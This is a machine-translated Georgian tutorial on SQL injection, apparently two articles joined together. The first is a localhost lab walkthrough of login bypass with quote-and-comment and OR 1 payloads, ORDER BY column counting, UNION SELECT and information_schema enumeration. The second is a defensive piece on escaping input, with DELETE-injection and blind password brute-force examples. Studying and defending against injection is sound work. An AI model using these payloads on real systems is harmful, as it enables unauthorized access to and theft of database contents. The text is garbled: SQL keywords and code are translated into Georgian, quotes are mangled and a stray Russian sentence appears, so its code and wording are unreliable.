ნიშნავს, რომ პირობა იქნება ჭეშმარიტი, თუ გადასული $name ცვლადი უდრის ცხრილის სახელის ველის მნიშვნელობას და გადაცემული ცვლადი '$password უდრის ცხრილის პაროლის ველის მნიშვნელობას. თუ ერთი პირობა მაინც არ არის დაკმაყოფილებული (არასწორი მომხმარებლის სახელი ან პაროლი), მაშინ არაფერი არ იქნება აღებული ცხრილიდან, ანუ გამოთქმა SELECT * FROM `members` WHERE name = '$name' AND password ='$password' ნიშნავს: "წევრების" ცხრილი, აიღეთ ყველა ველის მნიშვნელობები, თუ პირობა დაკმაყოფილებულია მათთვის - გადაცემული მომხმარებლის სახელი და პაროლი ემთხვევა ცხრილში ნაპოვნის.

Ნათელია. მოდით, მაგალითად, ჩავსვათ ერთი ციტატა მომხმარებლის სახელით:

მისამართების ზოლი:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo'&password=111

მონაცემები არ არის მიღებული, სამაგიეროდ ვხედავთ შეცდომას:
როდესაც ჩვენ შევიტანეთ სწორი მონაცემები, ჩვენი მოთხოვნა ასე გამოიყურებოდა:
ციტატის დამატებით, ჩვენი მოთხოვნა ხდება:
მე დავაყენე დამატებითი სივრცეები სიცხადისთვის, ანუ ვიღებთ მოთხოვნას
სხვათა შორის, მოთხოვნა სწორია სინტაქსში. და ამის შემდეგ დაუყოვნებლივ, ყოველგვარი გამყოფების გარეშე, თხოვნა გრძელდება:

"და პაროლი = "111"

ეს არის ის, რაც არღვევს ყველაფერს, რადგან გახსნის და დახურვის ციტატების რაოდენობა არ არის თანაბარი. თქვენ შეგიძლიათ, მაგალითად, ჩასვათ სხვა ციტატა:
მისამართების ზოლი:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo»&password=111

შეცდომა გაქრა, მაგრამ ამან თხოვნას აზრი არ შესძინა. თხოვნის უაზრო კუდი გვაწუხებს. როგორ მოვიშოროთ?

არის პასუხი - ეს კომენტარებია.

MySQL-ში კომენტარები შეიძლება განისაზღვროს სამი გზით:

  1. # (ჰეში - მუშაობს ხაზის ბოლომდე)
  2. - (ორი ტირე - იმუშავეთ სტრიქონის ბოლომდე, ორი ტირის შემდეგ დაგჭირდებათ ინტერვალის სიმბოლო)
  3. /* ეს არის კომენტარი */ ოთხი სიმბოლოსგან შემდგარი ჯგუფი - ყველაფერი შიგნით არის კომენტარი, ყველაფერი ამ პერსონაჟების ჯგუფის წინ ან შემდეგ არ განიხილება კომენტარად.
მოდით დავდოთ კომენტარი ჩვენს შეკითხვაში ერთი ციტატით, ამ ციტატის შემდეგ ვაყენებთ კომენტარის ნიშანს კუდის გასაუქმებლად და + ნიშანს, რომელიც აღნიშნავს სივრცეს, ასე რომ შეკითხვა ასე გამოვა:
მისამართების ზოლი:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo'-+&password=111

შეცდომა არა მხოლოდ გაქრა, არამედ დემო მომხმარებლისთვის ნაჩვენები იყო სწორი მონაცემები. მას შემდეგ ჩვენმა მოთხოვნამ ფორმა მიიღო
ბოლოს და ბოლოს, ცხენის კუდი -+ 'AND პაროლი ='111'გადაიქცა კომენტარში და აღარ მოქმედებს მოთხოვნაზე.

კიდევ ერთხელ გადახედეთ ახალ მოთხოვნას:
და ის აღარ ამოწმებს პაროლს! იმათ. ვიცით ლეგიტიმური მომხმარებლების სახელები, მაგრამ არ ვიცით მათი პაროლები, ჩვენ შეგვიძლია მათი პირადი მონაცემების ნახვა. იმათ. ჩვენ უკვე დავიწყეთ SQL ინექციის გამოყენება.

სამწუხაროდ, მე არ ვიცი რაიმე ლეგიტიმური სახელები და სხვა რამე უნდა მოვიფიქრო.

მოდით უფრო ახლოს მივხედოთ მოთხოვნის ამ ნაწილს:
გახსოვთ AND, რომელიც გამოიყენება პირველ შეკითხვაში? ეს ნიშნავს ლოგიკურ და ოპერაციას. შეგახსენებთ, რომ ლოგიკური ოპერაცია "AND" აწარმოებს "true" (1) მხოლოდ იმ შემთხვევაში, თუ ორივე გამონათქვამი მართალია. მაგრამ ლოგიკური ოპერატორი "OR" აწარმოებს "true" (1) მაშინაც კი, თუ გამოთქმებიდან ერთი მაინც არის ჭეშმარიტი. იმათ. გამოხატულება
ყოველთვის იქნება ჭეშმარიტი, ყოველთვის დააბრუნებს 1-ს. რადგან შედარებული ორი გამონათქვამიდან ერთ-ერთი ყოველთვის დააბრუნებს 1-ს.

იმათ. ჩვენ უნდა შევქმნათ გამონათქვამი, რომელიც ასე გამოიყურება:
მისამართების ზოლი:

Http://localhost/test/mysql-inj-lab1/index.php?name=Demo' ან 1 -+ &პაროლი=111

შედეგი:

შედეგი შესანიშნავია! ჩვენ მივიღეთ ცხრილში ყველა ჩანაწერის სია.

ORDER BY და UNION არიან SQL ინექციების მთავარი მეგობრები

ჩვენ უკვე მივიღეთ მონაცემები, რომლებიც მიუწვდომელი იყო მათთვის, ვისაც არ ჰქონდა სწორი მომხმარებლის სახელი და პაროლი. კიდევ რამე შემიძლია მივიღო? დიახ, შეგიძლიათ მიიღოთ ამ ცხრილის სრული ნაგავსაყრელი (შეგახსენებთ, ჩვენ ჯერ კიდევ არ გვაქვს პაროლები. უფრო მეტიც, ჩვენ შეგვიძლია მივიღოთ ყველა მონაცემი ამ სერვერზე არსებული ყველა მონაცემთა ბაზიდან ერთი პატარა ხვრელის მეშვეობით!

გაერთიანებასაშუალებას გაძლევთ დააკავშიროთ SQL მოთხოვნები. რეალურ ცხოვრებაში, ჩემი ამოცანები მარტივია და, შესაბამისად, მარტივი მოთხოვნები მონაცემთა ბაზებთან და შესაძლებლობებთან გაერთიანებამე არ ვიყენებ. მაგრამ SQL ინექციებისთვის ამაზე ღირებული სიტყვა არ არსებობს.

გაერთიანებასაშუალებას გაძლევთ საკმაოდ მოქნილად დააკავშიროთ SQL მოთხოვნები SELECT-თან, მათ შორის სხვადასხვა მონაცემთა ბაზებიდან. მაგრამ არსებობს მნიშვნელოვანი სინტაქსის მოთხოვნა: სვეტების რაოდენობა პირველ SELECT-ში უნდა უტოლდეს სვეტების რაოდენობას მეორე SELECT-ში.

შეკვეთაადგენს ცხრილიდან მიღებული მონაცემების დახარისხებას. შეგიძლიათ დაალაგოთ სვეტის სახელით, ან მისი ნომრის მიხედვით. უფრო მეტიც, თუ არ არის სვეტი ამ ნომრით, მაშინ გამოჩნდება შეცდომა:

მისამართების ზოლი:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ ORDER BY 1 -+ &პაროლი=111

მოთხოვნა ასე გამოიყურება:
ჩვენ შევცვალეთ მომხმარებლის სახელი -1-ით ისე, რომ მონაცემები არ გამოჩნდეს.

არ არის შეცდომა, ასევე არ არის შეცდომა მოთხოვნებთან დაკავშირებით
და აქ არის თხოვნა
ის შეესაბამება მისამართების ზოლს

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ შეკვეთა 6-ით -+ &პაროლი=111

მე მივიღე შეცდომა

ეს ნიშნავს, რომ მონაცემები შეირჩევა ცხრილიდან ხუთ სვეტად.

ჩვენ ვქმნით ჩვენს შეკითხვას UNION-ით:

როგორც ვთქვი, ველების რაოდენობა ორივე SELECT-ში ერთნაირი უნდა იყოს, მაგრამ რა არის ამ ველებში დიდი მნიშვნელობა არ აქვს. თქვენ შეგიძლიათ, მაგალითად, უბრალოდ შეიყვანოთ ნომრები - და ეს არის ის, რაც გამოჩნდება. შეგიძლიათ შეიყვანოთ NULL - მაშინ ველის ნაცვლად არაფერი გამოჩნდება.
მისამართების ზოლი:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,5 -+ &პაროლი=111

სვეტების რაოდენობის პოვნის კიდევ ერთი გზა არის იგივე UNION. კიბის გამოყენებით ვამატებთ სვეტების რაოდენობას:
ისინი ყველა ერთსა და იმავე შეცდომას გამოიმუშავებს:

გააკეთეთ ეს მანამ, სანამ შეცდომის შეტყობინება არ გაქრება.

გთხოვთ გაითვალისწინოთ, რომ UNION SELECT 1,2,3,4,5 ზოგიერთი ველის შიგთავსი ნაჩვენებია ეკრანზე. რიცხვების ნაცვლად, შეგიძლიათ მიუთითოთ ფუნქციები.

რა დავწეროთ SELECT-ში

არსებობს რამდენიმე ფუნქცია, რომელიც შეიძლება ჩაიწეროს პირდაპირ UNION-ში:

  • ᲛᲝᲜᲐᲪᲔᲛᲗᲐ ᲑᲐᲖᲐ()- აჩვენეთ მიმდინარე მონაცემთა ბაზის სახელი
  • ᲛᲘᲛᲓᲘᲜᲐᲠᲔ ᲛᲝᲛᲮᲛᲐᲠᲔᲑᲔᲚᲘ()- აჩვენებს მომხმარებლის სახელს და ჰოსტის სახელს
  • @@datadir- აჩვენებს მონაცემთა ბაზის აბსოლუტურ გზას
  • USER()- მომხმარებლის სახელი
  • VERSION()- მონაცემთა ბაზის ვერსია
ჩვენს მაგალითში ნაჩვენებია ველები 2, 4 და 5. ე.ი. ჩვენ შეგვიძლია გამოვიყენოთ რომელიმე ველი.

UNION SELECT-ში DATABASE()-ის გამოყენება

მისამართი:

Http://localhost/test/mysql-inj-lab1/index.php?name=-1′ UNION SELECT 1,2,3,4,DATABASE() -+ &პაროლი=111

შედეგი:

ცხრილების სახელების, ველების და მონაცემთა ბაზის ნაგავსაყრელის მიღება

მონაცემთა ბაზაში ინფორმაცია_სქემაარის მაგიდა ე.წ მაგიდები. ეს ცხრილი შეიცავს ყველა ცხრილის ჩამონათვალს, რომლებიც წარმოდგენილია ამ სერვერის ყველა მონაცემთა ბაზაში. ჩვენ შეგვიძლია შევარჩიოთ ჩვენი ცხრილები ველში ძიებით ცხრილის_სქემაჩვენი მონაცემთა ბაზის სახელია „db_library“ (სახელი ვიპოვეთ DATABASE() გამოყენებით).

ამას ჰქვია სრული UNION ტექნიკა. მასზე უამრავი მასალაა ინტერნეტში. ჩემს MySQL სერვერზე სრული UNION ტექნიკა არ მუშაობს. შეცდომას ვიღებ
ის არ მუშაობს მკლავების გამრუდების გამო, რადგან ეს ტექნიკა ასევე არ მოაქვს შედეგს sqlmap-ისთვის:

შეფერხება მოხდა სრული UNION ტექნიკით (შეიძლება იყოს მოძიებული ჩანაწერების რაოდენობის შეზღუდვის გამო). ნაწილობრივი UNION-ის ტექნიკაზე დაბრუნება

ეს შეიძლება გამოწვეული იყოს MySQL 5.6 ვერსიით. იმიტომ რომ მე არ შემიძლია პრაქტიკული მაგალითების მოყვანა და არც მაინტერესებს სხვა ადამიანების გატეხილი ბრძანებების გადაწერა - ახლა, ჩემ გარეშეც, ინტერნეტში იმდენი „დიდი თეორეტიკოსი“ არის, რამდენიც გნებავთ, ამიტომ გადავწყვიტე სასწრაფოდ გადავსულიყავი ნაწილობრივი UNION ტექნიკის გათვალისწინებით. მაგრამ ეს არ არის უმარტივესი ტექნიკა და სტატია უკვე საკმაოდ გრძელია.

სტატიის შემდეგ ნაწილში შევისწავლით ნაწილობრივ UNION ტექნიკას, მისი დახმარებით მივიღებთ სერვერზე არსებულ ყველა მონაცემს: მონაცემთა ბაზების სახელებს, მათი ცხრილების და ველების სახელებს ამ ცხრილებში, ასევე მათ შინაარსს. . სანამ ელოდებით მეორე ნაწილის გამოჩენას, ივარჯიშეთ, წაიკითხეთ SQL ინექციების და UNION ტექნიკის შესახებ; ასევე რეკომენდებულია შემდეგი სტატიების წასაკითხად:

P.S. ოჰ, დამავიწყდა LIMIT. შემდეგ ჯერზე ასევე ვისაუბრებ LIMIT-ის როლზე SQL ინექციებში.

SQL ინექციები - მავნე კოდის ჩანერგვა მონაცემთა ბაზის შეკითხვებში - ყველაზე საშიში ტიპის თავდასხმაა. SQL ინექციების გამოყენებით, თავდამსხმელს შეუძლია არა მხოლოდ მოიპოვოს პირადი ინფორმაცია მონაცემთა ბაზიდან, არამედ, გარკვეულ პირობებში, შეიტანოს ცვლილებები იქ.

SQL ინექციის დაუცველობა წარმოიქმნება იმის გამო, რომ მომხმარებლის ინფორმაცია შედის მონაცემთა ბაზაში მოთხოვნაში სათანადო დამუშავების გარეშე: იმისათვის, რომ სკრიპტი არ იყოს დაუცველი, აუცილებელია უზრუნველყოს, რომ მომხმარებლის ყველა მონაცემი დასრულდეს მონაცემთა ბაზის ყველა მოთხოვნაში გაქცევის სახით. უნივერსალურობის მოთხოვნა ქვაკუთხედია: ერთ სკრიპტში ჩადენილი დარღვევა მთელ სისტემას დაუცველს ხდის.

დაუცველობის მაგალითი

დავუშვათ, რომ არსებობს სკრიპტი, რომელიც აჩვენებს მოცემული ქალაქიდან მომხმარებელთა სიას, GET პარამეტრად ქალაქის ID-ს აღებით. სკრიპტზე წვდომა HTTP-ის საშუალებით იქნება მისამართზე /users.php?cityid=20

ზემოთ მოცემულ სკრიპტში, დეველოპერი ათავსებს GET პარამეტრს SQL მოთხოვნაში, რაც გულისხმობს, რომ GET პარამეტრი ყოველთვის შეიცავს რიცხვს. თავდამსხმელს შეუძლია სტრიქონის პარამეტრად გადაცემა და ამით მოთხოვნის კორუფცია. მაგალითად, ის წვდება სკრიპტს როგორც /users.php?cityid=20; წაშლა * მომხმარებლებისგან
SQL მოთხოვნა ასე გამოიყურება:

მოთხოვნა შესრულდება და სკრიპტი დააბრუნებს არა მხოლოდ მომხმარებლებს მითითებული ქალაქიდან, არამედ ყველა მომხმარებლის სიას, რომელთა პაროლიც გამოჩნდება მათი ნამდვილი სახელის ნაცვლად.

როგორ დავიცვათ თავი?

მოდით დავამატოთ მომხმარებლის ინფორმაცია ერთ ბრჭყალებში. ეს დაეხმარება?

ზემოთ მოყვანილი მაგალითიდან ხედავთ, რომ ცალკეული ციტატების დადება საკმარისი არ არის. თქვენ ასევე უნდა გაექცეთ სტრიქონში შემავალ ციტატებს. ამისათვის PHP უზრუნველყოფს mysql_real_escape_string() ფუნქციას, რომელიც ყოველი ციტატის, უკანა ციტატის და სხვა სპეციალური სიმბოლოების წინ ამატებს უკანა ხაზს. მოდით შევხედოთ კოდს:

ასე რომ, SQL ინექციებისგან დასაცავად, ყველა გარე პარამეტრი, რომელიც შეიძლება შეიცავდეს ტექსტს, უნდა დამუშავდეს გამოყენებით mysql_real_escape_string() და ჩასმულია ერთ ბრჭყალებში.

თუ იცით, რომ პარამეტრმა უნდა მიიღოს რიცხვითი მნიშვნელობა, ის შეიძლება გადაიყვანოთ ციფრულ ფორმაში ცალსახად ფუნქციის გამოყენებით intval ()ან floatval (). ამ მაგალითში შეგვიძლია გამოვიყენოთ:

$sql = აირჩიეთ მომხმარებლის სახელი, ნამდვილი სახელი
მომხმარებლებისგან
WHERE cityid=""
.ინტივალი ( $_GET ["cityid" ] ) .""" ;

განსხვავებები mysql_real_escape_string() და mysql_escape_string()

mysql_real_escape_string() არის mysql_escape_string() ფუნქციის გაუმჯობესებული ვერსია, რომელიც ფართოდ გამოიყენება MySQL მონაცემთა ბაზაში უსაფრთხო მოთხოვნების შესაქმნელად. ამ ორ ფუნქციას შორის განსხვავება ისაა, რომ mysql_real_escape_string() სწორად მუშაობს მრავალ ბაიტიანი კოდირებით.

დავუშვათ, დამუშავებულ მონაცემებში არის სიმბოლო (ვთქვათ, UTF-8), რომლის კოდი შედგება ორი ბაიტისაგან - თექვსმეტობითი 27 და 2B (ათწილადი 39 და 43, შესაბამისად). mysql_escape_string() განიხილავს მასზე გადაცემულ მონაცემთა თითოეულ ბაიტს, როგორც ცალკე სიმბოლოს (უფრო ზუსტად, როგორც ცალკეული სიმბოლოს კოდს) და წყვეტს, რომ 27 და 2B ბაიტების თანმიმდევრობა იყოს ორი განსხვავებული სიმბოლო: ერთი ციტატა (") და პლუს (+). იმის გამო, რომ ფუნქცია ღებულობს ციტატას, როგორც სპეციალურ სიმბოლოს, 27 კოდით ბაიტის წინ დაემატება ზოლი (\), რომელიც რეალურად არის რაიმე უვნებელი სიმბოლოს ნაწილი. შედეგად, მონაცემები გაიგზავნება მონაცემთა ბაზა დამახინჯებული ფორმით.

აღსანიშნავია, რომ mysql_real_escape_string() სწორად მუშაობს ყველა შემთხვევაში და შეუძლია მთლიანად შეცვალოს mysql_escape_string().

mysql_real_escape_string() ხელმისაწვდომია PHP-ში 4.3.0 ვერსიიდან.

დამატებითი მაგალითები

ჩვენ განვიხილეთ უმარტივესი მაგალითი, მაგრამ პრაქტიკაში დაუცველი მოთხოვნა შეიძლება იყოს უფრო რთული და არ აჩვენოს თავისი შედეგები მომხმარებლისთვის. შემდეგი, ჩვენ განვიხილავთ SQL ინექციების მაგალითებს უფრო რთულ შემთხვევებში, სისრულის მოთხოვნის გარეშე.

ინექცია რთულ შეკითხვებში

უმარტივეს მაგალითში შესაძლებელი იყო კოდის ჩასმა SQL მოთხოვნის ბოლოს. პრაქტიკაში, SQL მოთხოვნის ბოლოს შეიძლება იყოს დამატებითი პირობები, დახარისხების ოპერატორები, დაჯგუფებები და სხვა SQL კონსტრუქტები. თითოეულ კონკრეტულ შემთხვევაში, თავდამსხმელი შეეცდება მავნე ნაწილის ჩასმას ისე, რომ მოთხოვნა მთლიანობაში დარჩეს სინტაქსურად სწორი, მაგრამ შეასრულოს განსხვავებული ფუნქცია. აქ ჩვენ შევხედავთ დაუცველი მოთხოვნის უმარტივეს მაგალითს დამატებითი პირობით.

შედეგად, ასაკობრივი მდგომარეობა<35 არ იმოქმედებს ნიმუშზე, რადგან OR ოპერატორს აქვს უფრო დაბალი პრიორიტეტი, ვიდრე AND ოპერატორს და WHERE ზემოთ მოთხოვნიდან შეიძლება განსხვავებულად დაიწეროს, როგორც WHERE (cityid="20" AND 1 ) OR ("1" AND ასაკი<"35" ) (გახსოვდეთ, რომ WHERE 1 გამოთქმა ყოველთვის მართალია). შედეგად, ორივე ხაზები cityid="20"-ით და ასაკობრივი ხაზები მოერგება მდგომარეობას<35, причем наличие последних не обязательно.

რთული მოთხოვნებისთვის, წარმატებული SQL ინექციები მოითხოვს გარკვეულ კრეატიულობას, მაგრამ თავდამსხმელებს შეიძლება ჰქონდეთ გარკვეული.

შეკითხვის შედეგები არ არის ნაჩვენები მომხმარებლისთვის

შესაძლოა, მოთხოვნა, რომლის შედეგებიც არ არის ნაჩვენები მომხმარებლისთვის, დაუცველია. ეს შეიძლება იყოს, მაგალითად, დამხმარე შეკითხვა:

$sql = "აირჩიეთ რაოდენობა(*)
მომხმარებლებისგან
WHERE userid=""
.$_GET [ "userid" ] .""" ;

ზემოთ მოყვანილი შეკითხვა უბრალოდ ამოწმებს მომხმარებლის არსებობას მოცემული მომხმარებლის სახელით: თუ ის აბრუნებს რაიმე არანულოვან მნიშვნელობას, ნაჩვენებია მომხმარებლის პროფილი შესაბამისი მომხმარებლის ID-ით, მაგრამ თუ დაბრუნდა 0 (ანუ არ არსებობს მომხმარებლები, რომლებიც აკმაყოფილებენ მოთხოვნის კრიტერიუმები), გამოჩნდება შეტყობინება "მომხმარებელი ვერ მოიძებნა".

ამ შემთხვევაში პაროლი (ან სხვა ინფორმაცია) განისაზღვრება უხეში ძალით. თავდამსხმელი გადასცემს სტრიქონს, როგორც userid პარამეტრს 2" და პაროლი, როგორიცაა "a%". საბოლოო მოთხოვნა:

აირჩიეთ რაოდენობა (*) მომხმარებლებისგან WHERE userid="2" და პაროლი, როგორიცაა "a%"

თავდამსხმელი მიიღებს "მომხმარებელი ვერ მოიძებნა", თუ პაროლი არ იწყება ასო "a"-ით, ან სტანდარტული მომხმარებლის პროფილის გვერდით, წინააღმდეგ შემთხვევაში. პაროლის პირველი ასო განისაზღვრება უხეში ძალით, შემდეგ მეორე და ა.შ.

დასკვნები

  • ყველა მოთხოვნა, რომელიც იყენებს გარე მონაცემებს, დაცული უნდა იყოს SQL ინექციებისგან. გარე მონაცემები შეიძლება გადაიცეს არა მხოლოდ GET პარამეტრების სახით, არამედ POST მეთოდის გამოყენებით, რომელიც აღებულია COOKIE-დან, მესამე მხარის საიტებიდან ან მონაცემთა ბაზიდან, რომელშიც მომხმარებელს ჰქონდა ინფორმაციის შეყვანის შესაძლებლობა.
  • ყველა რიცხვითი პარამეტრი ცალსახად უნდა გარდაიქმნას ციფრულ ფორმაში ფუნქციების გამოყენებით intval ()და floatval ()
  • ყველა სტრიქონის პარამეტრს უნდა გაურბოდეს mysql_real_escape_string()და ჩასვით ბრჭყალებში.
  • თუ SQL ინექციის შექმნა რთულია, არ უნდა ელოდოთ, რომ თავდამსხმელი ვერ გაიგებს, როგორ გააკეთოს ეს. ეს განსაკუთრებით ეხება ძრავებს, რომელთა საწყისი კოდი საჯაროა.

წარმატებებს გისურვებთ უსაფრთხო აპლიკაციების შექმნას!